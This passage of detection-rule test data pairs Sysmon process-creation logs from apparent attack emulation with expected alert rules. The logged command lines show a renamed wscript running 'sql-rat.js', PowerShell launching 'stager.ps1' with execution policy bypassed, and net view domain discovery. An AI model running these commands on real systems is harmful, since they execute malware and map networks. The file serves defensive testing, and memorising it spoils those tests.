Microsoft ® Windows Based Script Host\\r\\nProduct: Microsoft ® Windows Script Host\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: wscript.exe\\r\\nCommandLine: C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\adb156.exe /b /e:jscript C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\sql-rat.js\\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-7259-614b-a2b6-1b0000000000}\\r\\nLogonId: 0x1BB6A2\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=C2326CC50A739D3BC512BB65A24D42F1CDE745C9,MD5=FF00E0480075B095948000BDC66E81F0,SHA256=8C767077BB410F95B1DB237B31F4F6E1512C78C1F0120DE3F215B501F6D1C7EA,IMPHASH=3602F3C025378F418F804C5D183603FE\\r\\nParentProcessGuid: {00000000-0000-0000-0000-000000000000}\\r\\nParentProcessId: 492\\r\\nParentImage: -\\r\\nParentCommandLine: -\\\"\",\"version\":\"5\",\"systemTime\":\"2021-09-22T20:11:57.0180219Z\",\"eventRecordID\":\"385388\",\"threadID\":\"3560\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2736\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\adb156.exe /b /e:jscript C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\sql-rat.js", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.description": "Microsoft ® Windows Based Script Host", "win.eventdata.fileVersion": "5.812.10240.16384", "win.eventdata.hashes": "SHA1=C2326CC50A739D3BC512BB65A24D42F1CDE745C9,MD5=FF00E0480075B095948000BDC66E81F0,SHA256=8C767077BB410F95B1DB237B31F4F6E1512C78C1F0120DE3F215B501F6D1C7EA,IMPHASH=3602F3C025378F418F804C5D183603FE", "win.eventdata.image": "C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\adb156.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{4dc16835-7259-614b-a2b6-1b0000000000}", "win.eventdata.logonId": "0x1bb6a2", "win.eventdata.originalFileName": "wscript.exe", "win.eventdata.parentProcessGuid": "{00000000-0000-0000-0000-000000000000}", "win.eventdata.parentProcessId": "492", "win.eventdata.processGuid": "{4dc16835-8e0d-614b-1d56-d70000000000}", "win.eventdata.processId": "2284", "win.eventdata.product": "Microsoft ® Windows Script Host", "win.eventdata.ruleName": "technique_id=T1202,technique_name=Indirect Command Execution", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-09-22 20:11:57.014", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "385388", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2736", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-22T20:11:57.0180219Z", "win.system.task": "1", "win.system.threadID": "3560", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92051", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Executed a renamed copy of wscript.exe"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"Cmd.Exe\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\SysWOW64\\\\\\\\cmd.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-bbae-6154-f75a-270100000000}\",\"description\":\"Windows Command Processor\",\"logonGuid\":\"{4dc16835-6022-6154-b4d3-080000000000}\",\"parentCommandLine\":\"adb156.exe\",\"processGuid\":\"{4dc16835-bbbd-6154-4432-290100000000}\",\"logonId\":\"0x8d3b4\",\"parentProcessId\":\"3500\",\"processId\":\"3520\",\"currentDirectory\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Local\\\\\\\\\",\"utcTime\":\"2021-09-29 19:17:17.758\",\"hashes\":\"SHA1=4048488DE6BA4BFEF9EDF103755519F1F762668F,MD5=D0FCE3AFA6AA1D58CE9FA336CC2B675B,SHA256=4D89FC34D5F0F9BABD022271C585A9477BF41E834E46B991DEAA0530FDB25E22,IMPHASH=392B4D61B1D1DADC1F06444DF258188A\",\"parentImage\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Local\\\\\\\\adb156.exe\",\"ruleName\":\"technique_id=T1059,technique_name=Command-Line Interface\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\\\\\\\" /C powershell.exe -ExecutionPolicy Bypass -NoExit -File C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Local\\\\\\\\stager.ps1 > C:\\\\\\\\Users\\\\\\\\ATOMIC~2\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\radC5410.tmp 2>&1\",\"integrityLevel\":\"Medium\",\"fileVersion\":\"10.0.19041.746 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1059,technique_name=Command-Line Interface\\r\\nUtcTime: 2021-09-29 19:17:17.758\\r\\nProcessGuid: {4dc16835-bbbd-6154-4432-290100000000}\\r\\nProcessId: 3520\\r\\nImage: C:\\\\Windows\\\\SysWOW64\\\\cmd.exe\\r\\nFileVersion: 10.0.19041.746 (WinBuild.160101.0800)\\r\\nDescription: Windows Command Processor\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: Cmd.Exe\\r\\nCommandLine: \\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" /C powershell.exe -ExecutionPolicy Bypass -NoExit -File C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\stager.ps1 > C:\\\\Users\\\\ATOMIC~2\\\\AppData\\\\Local\\\\Temp\\\\radC5410.tmp 2>&1\\r\\nCurrentDirectory: C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-6022-6154-b4d3-080000000000}\\r\\nLogonId: 0x8D3B4\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=4048488DE6BA4BFEF9EDF103755519F1F762668F,MD5=D0FCE3AFA6AA1D58CE9FA336CC2B675B,SHA256=4D89FC34D5F0F9BABD022271C585A9477BF41E834E46B991DEAA0530FDB25E22,IMPHASH=392B4D61B1D1DADC1F06444DF258188A\\r\\nParentProcessGuid: {4dc16835-bbae-6154-f75a-270100000000}\\r\\nParentProcessId: 3500\\r\\nParentImage: C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\adb156.exe\\r\\nParentCommandLine: adb156.exe /b /e:jscript sql-rat.js\\\"\",\"version\":\"5\",\"systemTime\":\"2021-09-29T19:17:17.7620274Z\",\"eventRecordID\":\"397781\",\"threadID\":\"3224\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2276\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" /C powershell.exe -ExecutionPolicy Bypass -NoExit -File C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\stager.ps1 > C:\\\\Users\\\\ATOMIC~2\\\\AppData\\\\Local\\\\Temp\\\\radC5410.tmp 2>&1", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\", "win.eventdata.description": "Windows Command Processor", "win.eventdata.fileVersion": "10.0.19041.746 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=4048488DE6BA4BFEF9EDF103755519F1F762668F,MD5=D0FCE3AFA6AA1D58CE9FA336CC2B675B,SHA256=4D89FC34D5F0F9BABD022271C585A9477BF41E834E46B991DEAA0530FDB25E22,IMPHASH=392B4D61B1D1DADC1F06444DF258188A", "win.eventdata.image": "C:\\\\Windows\\\\SysWOW64\\\\cmd.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{4dc16835-6022-6154-b4d3-080000000000}", "win.eventdata.logonId": "0x8d3b4", "win.eventdata.originalFileName": "Cmd.Exe", "win.eventdata.parentCommandLine": "adb156.exe", "win.eventdata.parentImage": "C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\adb156.exe", "win.eventdata.parentProcessGuid": "{4dc16835-bbae-6154-f75a-270100000000}", "win.eventdata.parentProcessId": "3500", "win.eventdata.processGuid": "{4dc16835-bbbd-6154-4432-290100000000}", "win.eventdata.processId": "3520", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1059,technique_name=Command-Line Interface", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-09-29 19:17:17.758", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "397781", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2276", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-29T19:17:17.7620274Z", "win.system.task": "1", "win.system.threadID": "3224", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92052", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Windows command prompt started by an abnormal process"} +{"log": "{ \"win\": { \"eventdata\": { \"originalFileName\": \"Cmd.Exe\", \"image\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\", \"product\": \"Microsoft® Windows® Operating System\", \"parentProcessGuid\": \"{94f48244-1c92-6153-b501-000000000900}\", \"description\": \"Windows Command Processor\", \"logonGuid\": \"{94f48244-0278-6153-d847-020000000000}\", \"parentCommandLine\": \"C:\\\\\\\\Users\\\\\\\\chris\\\\\\\\AppData\\\\\\\\Local\\\\\\\\adb156.exe /b /e:jscript C:\\\\\\\\Users\\\\\\\\chris\\\\\\\\AppData\\\\\\\\Local\\\\\\\\sql-rat.js\", \"processGuid\": \"{94f48244-1e54-6153-c501-000000000900}\", \"logonId\": \"0x247d8\", \"parentProcessId\": \"5236\", \"processId\": \"3624\", \"currentDirectory\": \"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\", \"utcTime\": \"2021-09-28 13:53:24.910\", \"hashes\": \"SHA1=F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D,MD5=8A2122E8162DBEF04694B9C3E0B6CDEE,SHA256=B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450,IMPHASH=272245E2988E1E430500B852C4FB5E18\", \"parentImage\": \"C:\\\\\\\\Users\\\\\\\\chris\\\\\\\\AppData\\\\\\\\Local\\\\\\\\adb156.exe\", \"ruleName\": \"technique_id=T1059,technique_name=Command-Line Interface\", \"company\": \"Microsoft Corporation\", \"commandLine\": \"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\\\\\\\" /C echo '[+] Upload Complete' > C:\\\\\\\\Users\\\\\\\\chris\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\radC3C5F.tmp 2>&1\", \"integrityLevel\": \"Medium\", \"fileVersion\": \"10.0.19041.746 (WinBuild.160101.0800)\", \"user\": \"DESKTOP-5F55T89\\\\\\\\chris\", \"terminalSessionId\": \"1\" }, \"system\": { \"eventID\": \"1\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"Process Create:\\r\\nRuleName: technique_id=T1059,technique_name=Command-Line Interface\\r\\nUtcTime: 2021-09-28 13:53:24.910\\r\\nProcessGuid: {94f48244-1e54-6153-c501-000000000900}\\r\\nProcessId: 3624\\r\\nImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nFileVersion: 10.0.19041.746 (WinBuild.160101.0800)\\r\\nDescription: Windows Command Processor\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: Cmd.Exe\\r\\nCommandLine: \\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" /C echo '[+] Upload Complete' > C:\\\\Users\\\\chris\\\\AppData\\\\Local\\\\Temp\\\\radC3C5F.tmp 2>&1\\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: DESKTOP-5F55T89\\\\chris\\r\\nLogonGuid: {94f48244-0278-6153-d847-020000000000}\\r\\nLogonId: 0x247D8\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D,MD5=8A2122E8162DBEF04694B9C3E0B6CDEE,SHA256=B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450,IMPHASH=272245E2988E1E430500B852C4FB5E18\\r\\nParentProcessGuid: {94f48244-1c92-6153-b501-000000000900}\\r\\nParentProcessId: 5236\\r\\nParentImage: C:\\\\Users\\\\chris\\\\AppData\\\\Local\\\\adb156.exe\\r\\nParentCommandLine: C:\\\\Users\\\\chris\\\\AppData\\\\Local\\\\adb156.exe /b /e:jscript C:\\\\Users\\\\chris\\\\AppData\\\\Local\\\\sql-rat.js\\\"\", \"version\": \"5\", \"systemTime\": \"2021-09-28T13:53:24.9138709Z\", \"eventRecordID\": \"1791\", \"threadID\": \"6676\", \"computer\": \"DESKTOP-5F55T89\", \"task\": \"1\", \"processID\": \"6284\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" /C echo '[+] Upload Complete' > C:\\\\Users\\\\chris\\\\AppData\\\\Local\\\\Temp\\\\radC3C5F.tmp 2>&1", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.description": "Windows Command Processor", "win.eventdata.fileVersion": "10.0.19041.746 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D,MD5=8A2122E8162DBEF04694B9C3E0B6CDEE,SHA256=B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450,IMPHASH=272245E2988E1E430500B852C4FB5E18", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{94f48244-0278-6153-d847-020000000000}", "win.eventdata.logonId": "0x247d8", "win.eventdata.originalFileName": "Cmd.Exe", "win.eventdata.parentCommandLine": "C:\\\\Users\\\\chris\\\\AppData\\\\Local\\\\adb156.exe /b /e:jscript C:\\\\Users\\\\chris\\\\AppData\\\\Local\\\\sql-rat.js", "win.eventdata.parentImage": "C:\\\\Users\\\\chris\\\\AppData\\\\Local\\\\adb156.exe", "win.eventdata.parentProcessGuid": "{94f48244-1c92-6153-b501-000000000900}", "win.eventdata.parentProcessId": "5236", "win.eventdata.processGuid": "{94f48244-1e54-6153-c501-000000000900}", "win.eventdata.processId": "3624", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1059,technique_name=Command-Line Interface", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "DESKTOP-5F55T89\\\\chris", "win.eventdata.utcTime": "2021-09-28 13:53:24.910", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "DESKTOP-5F55T89", "win.system.eventID": "1", "win.system.eventRecordID": "1791", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "6284", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-28T13:53:24.9138709Z", "win.system.task": "1", "win.system.threadID": "6676", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92053", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Suspicious process with a jscript engine signature launched"} +{"log": "{ \"win\": { \"eventdata\": { \"originalFileName\": \"net.exe\", \"image\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\net.exe\", \"product\": \"Microsoft® Windows® Operating System\", \"parentProcessGuid\": \"{94f48244-1dc2-6153-c101-000000000900}\", \"description\": \"Net Command\", \"logonGuid\": \"{94f48244-0278-6153-d847-020000000000}\", \"parentCommandLine\": \"cmd.exe /c net view /domain hospitality.local 2>&1\", \"processGuid\": \"{94f48244-1dc3-6153-c401-000000000900}\", \"logonId\": \"0x247d8\", \"parentProcessId\": \"6860\", \"processId\": \"5476\", \"currentDirectory\": \"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\", \"utcTime\": \"2021-09-28 13:50:59.112\", \"hashes\": \"SHA1=88B101598CC6726B7A57D02B1FA95BE1B272A821,MD5=0BD94A338EEA5A4E1F2830AE326E6D19,SHA256=9F376759BCBCD705F726460FC4A7E2B07F310F52BAA73CAAAAA124FDDBDF993E,IMPHASH=57F0C47AE2A1A2C06C8B987372AB0B07\", \"parentImage\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\", \"ruleName\": \"technique_id=T1018,technique_name=Remote System Discovery\", \"company\": \"Microsoft Corporation\", \"commandLine\": \"net view /domain hospitality.local\", \"integrityLevel\": \"Medium\", \"fileVersion\": \"10.0.19041.1 (WinBuild.160101.0800)\", \"user\": \"DESKTOP-5F55T89\\\\\\\\chris\", \"terminalSessionId\": \"1\" }, \"system\": { \"eventID\": \"1\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"Process Create:\\r\\nRuleName: technique_id=T1018,technique_name=Remote System Discovery\\r\\nUtcTime: 2021-09-28 13:50:59.112\\r\\nProcessGuid: {94f48244-1dc3-6153-c401-000000000900}\\r\\nProcessId: 5476\\r\\nImage: C:\\\\Windows\\\\System32\\\\net.exe\\r\\nFileVersion: 10.0.19041.1 (WinBuild.160101.0800)\\r\\nDescription: Net Command\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: net.exe\\r\\nCommandLine: net view /domain hospitality.local \\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: DESKTOP-5F55T89\\\\chris\\r\\nLogonGuid: {94f48244-0278-6153-d847-020000000000}\\r\\nLogonId: 0x247D8\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=88B101598CC6726B7A57D02B1FA95BE1B272A821,MD5=0BD94A338EEA5A4E1F2830AE326E6D19,SHA256=9F376759BCBCD705F726460FC4A7E2B07F310F52BAA73CAAAAA124FDDBDF993E,IMPHASH=57F0C47AE2A1A2C06C8B987372AB0B07\\r\\nParentProcessGuid: {94f48244-1dc2-6153-c101-000000000900}\\r\\nParentProcessId: 6860\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: cmd.exe /c net view /domain hospitality.local 2>&1\\\"\", \"version\": \"5\", \"systemTime\": \"2021-09-28T13:50:59.1613047Z\", \"eventRecordID\": \"1781\", \"threadID\": \"6676\", \"computer\": \"DESKTOP-5F55T89\", \"task\": \"1\", \"processID\": \"6284\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "net view /domain hospitality.local", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.description": "Net Command", "win.eventdata.fileVersion": "10.0.19041.1 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=88B101598CC6726B7A57D02B1FA95BE1B272A821,MD5=0BD94A338EEA5A4E1F2830AE326E6D19,SHA256=9F376759BCBCD705F726460FC4A7E2B07F310F52BAA73CAAAAA124FDDBDF993E,IMPHASH=57F0C47AE2A1A2C06C8B987372AB0B07", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\net.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{94f48244-0278-6153-d847-020000000000}", "win.eventdata.logonId": "0x247d8", "win.eventdata.originalFileName": "net.exe", "win.eventdata.parentCommandLine": "cmd.exe /c net view /domain hospitality.local 2>&1", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{94f48244-1dc2-6153-c101-000000000900}", "win.eventdata.parentProcessId": "6860", "win.eventdata.processGuid": "{94f48244-1dc3-6153-c401-000000000900}", "win.eventdata.processId": "5476", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1018,technique_name=Remote System Discovery", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "DESKTOP-5F55T89\\\\chris", "win.eventdata.utcTime": "2021-09-28 13:50:59.112", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "DESKTOP-5F55T89", "win.system.eventID": "1", "win.system.eventRecordID": "1781", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "6284", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-28T13:50:59.1613047Z", "win.system.task": "1", "win.system.threadID": "6676", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92035", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "net.exe domain discovery command"} +{"log": "{ \"win\": { \"eventdata\": { \"originalFileName\": \"SystemPropertiesAdvanced.EXE\", \"image\": \"C:\\\\\\\\Windows\\\\\\\\SysWOW64\\\\\\\\SystemPropertiesAdvanced.exe\", \"product\": \"Microsoft® Windows® Operating System\", \"parentProcessGuid\": \"{94f48244-c492-615e-ba00-000000001a00}\", \"description\": \"Advanced System Settings\", \"logonGuid\": \"{94f48244-c374-615e-b8f6-1b0000000000}\", \"parentCommandLine\": \"cmd.exe /c C:\\\\\\\\Windows\\\\\\\\Syswow64\\\\\\\\SystemPropertiesAdvanced.exe\", \"processGuid\": \"{94f48244-c497-615e-bc00-000000001a00}\", \"logonId\": \"0x1bf6b8\", \"parentProcessId\": \"2612\", \"processId\": \"3544\", \"currentDirectory\": \"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\", \"utcTime\": \"2021-10-07 09:57:43.466\", \"hashes\": \"SHA1=45526CE11BD5D10073B2DA21B608A8DFA652A80A,MD5=26230E6CBB94363405DCA88E06C96C12,SHA256=3C52E817A18EFD5670C1B8A2FEBBA53673DC70875271933C075116990EF0C255,IMPHASH=B788892AE84BA86201A726810F01CB07\", \"parentImage\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\", \"ruleName\": \"technique_id=T1059,technique_name=Command-Line Interface\", \"company\": \"Microsoft Corporation\", \"commandLine\": \"C:\\\\\\\\Windows\\\\\\\\Syswow64\\\\\\\\SystemPropertiesAdvanced.exe\", \"integrityLevel\": \"High\", \"fileVersion\": \"10.0.19041.1 (WinBuild.160101.0800)\", \"user\": \"XRISBARNEY\\\\\\\\itadmin\", \"terminalSessionId\": \"1\" }, \"system\": { \"eventID\": \"1\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"Process Create:\\r\\nRuleName: technique_id=T1059,technique_name=Command-Line Interface\\r\\nUtcTime: 2021-10-07 09:57:43.466\\r\\nProcessGuid: {94f48244-c497-615e-bc00-000000001a00}\\r\\nProcessId: 3544\\r\\nImage: C:\\\\Windows\\\\SysWOW64\\\\SystemPropertiesAdvanced.exe\\r\\nFileVersion: 10.0.19041.1 (WinBuild.160101.0800)\\r\\nDescription: Advanced System Settings\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: SystemPropertiesAdvanced.EXE\\r\\nCommandLine: C:\\\\Windows\\\\Syswow64\\\\SystemPropertiesAdvanced.exe\\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: XRISBARNEY\\\\itadmin\\r\\nLogonGuid: {94f48244-c374-615e-b8f6-1b0000000000}\\r\\nLogonId: 